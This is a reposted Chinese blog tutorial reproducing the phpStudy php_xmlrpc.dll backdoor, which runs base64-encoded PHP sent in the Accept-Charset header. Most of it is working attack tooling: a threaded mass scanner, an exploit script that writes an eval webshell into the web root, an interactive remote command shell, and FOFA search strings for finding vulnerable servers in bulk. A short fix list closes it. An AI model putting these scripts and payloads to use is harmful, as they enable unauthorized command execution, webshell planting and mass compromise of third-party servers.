phpStudy后門漏洞利用復現


一、漏洞描述

Phpstudy軟件是國內的一款免費的PHP調試環境的程序集成包,通過集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer

多款軟件一次性安裝,無需配置即可直接安裝使用,具有PHP環境調試和PHP開發功能,在國內有着近百萬PHP語言學習者、開發者用戶。

正是這樣一款公益性軟件,2018年12月4日,西湖區公安分局網警大隊接報案稱,某公司發現公司內有20余台計算機被執行危險命令,疑似遠程控制抓取賬號密碼等計算機數據 回傳大量敏感信息。

 

 

二、后門漏洞影響版本

phpStudy2016

php\php-5.2.17\ext\php_xmlrpc.dll

php\php-5.4.45\ext\php_xmlrpc.dll

phpStudy2018

PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll

PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll

 

 

三、漏洞危害

風險等級:高

風險危害:

1.獲取服務器權限

2.寫入webshell

 

 

四、后門漏洞復現流程

 

Accept-Encoding: gzip,deflate
Accept-Charset: payload(base64編碼)

 

注意:

 

Accept-Encoding: gzip,deflate
gzip,空格deflate
gzip逗號后面這個空格需要刪除,否則無回顯

payload也就是我們的php代碼,構造要經過base64編碼過后再放入

 

復現過程:

 

抓取URL請求包,首頁即可

然后發送到 Repeater模塊測試

這里可以看見前面所說的gzip逗號后面的空格沒有刪掉

再者Accept-Charset需要自己構造

 

我們構造一個 system('whoami'); base64編碼過后的然后發送過去測試

這里可以看見,執行了whoami

接下來編寫我們的 批量POC、EXP、交互shell

 

 

五、 Python編寫批量POC、EXP、交互shell

 

批量POC:

 

 

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author : 白紙書生
# @FileName: phpstudy_poc.py

import requests
import threading

def POC(url):
  headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
    'Accept-Encoding': 'gzip,deflate',
    'Accept-Charset': 'c3lzdGVtKCdlY2hvICJsb2NhbDwqKioqPmhvc3QiJyk7'
  }
  try:
    response = requests.get(url=url,headers=headers,timeout=3)
    print(url)
    if response.status_code == 200:
      if "\"local<****>host\"" in response.text:
        print('存在phpstudy后門漏洞------------',url)
        with open('vulnstudy.txt','a') as f:
          f.write(url+'\n')
  except:
    return

if __name__ == '__main__':

  number = int(sys.argv[1])
  count = 0
  for url in open(r'urls.txt'):
    count+=1
    t = threading.Thread(target=POC, args=(url.strip(),)) # 注意傳入的參數一定是一個元組!
    t.start()
    if count % number == 0:
      time.sleep(3)

 

 

EXP:

 

  

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author  : 白紙書生
# @FileName: phpstudy_exp.py

import requests

def EXP(url):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
        'Accept-Encoding': 'gzip,deflate',
        'Accept-Charset': 'ZnB1dHMoZm9wZW4oJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pPz4nKTs='
    }
    try:
        response = requests.get(url=url,headers=headers,timeout=3)
        if response.status_code == 200:
            print('Success------------',url+"shell.php")
    except:
        return


if __name__ == '__main__':

    for url in open(r'urls.txt'):
        EXP(url.strip())
exp這里的payload是寫入webshell
payload: fputs(fopen($_SERVER['DOCUMENT_ROOT'].'/shell.php','w'),'<?php @eval($_POST[cmd])?>');
通過$_SERVER['DOCUMENT_ROOT'] 獲取網站根目錄再寫入。

 

交互shell:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author  : 白紙書生
# @FileName: phpstudy_shell.py

import requests
import re
import base64

def SHELL(url):
    try:
        while 1:
            shell = input(">>>")
            shell = "echo \"abds\";system(\""+shell+"\");echo \"abds\";"
            headers = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
                'Accept-Encoding': 'gzip,deflate',
                'Accept-Charset': base64.b64encode(shell.encode()).decode()
            }
            response = requests.get(url=url,headers=headers,timeout=3)
            text = re.findall(r"abds(.+?)abds",response.text,re.S)
            print(text[0])
            if shell == "0":
                return
    except:
        print("異常")


if __name__ == '__main__':
    url = 'http://localhost/'
    SHELL(url)

 

回顯通過php的echo "abds"; 包裹着 也就是命令被兩個字符串包裹着,然后我們通過python正則把它從abds中間提取出來即可

測試結果:

 

六、通過網絡空間引擎批量搜索

這里采用fofa

構造通過返回的server

 

server="Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17"

server="Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45"

 

 


感覺准確率不夠高的話,可以再加個php探針做限制

 

七、后門漏洞修復方式

1.更新phpstudy

2.手動刪除該dll文件

3.采用火絨等殺毒軟件查殺

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM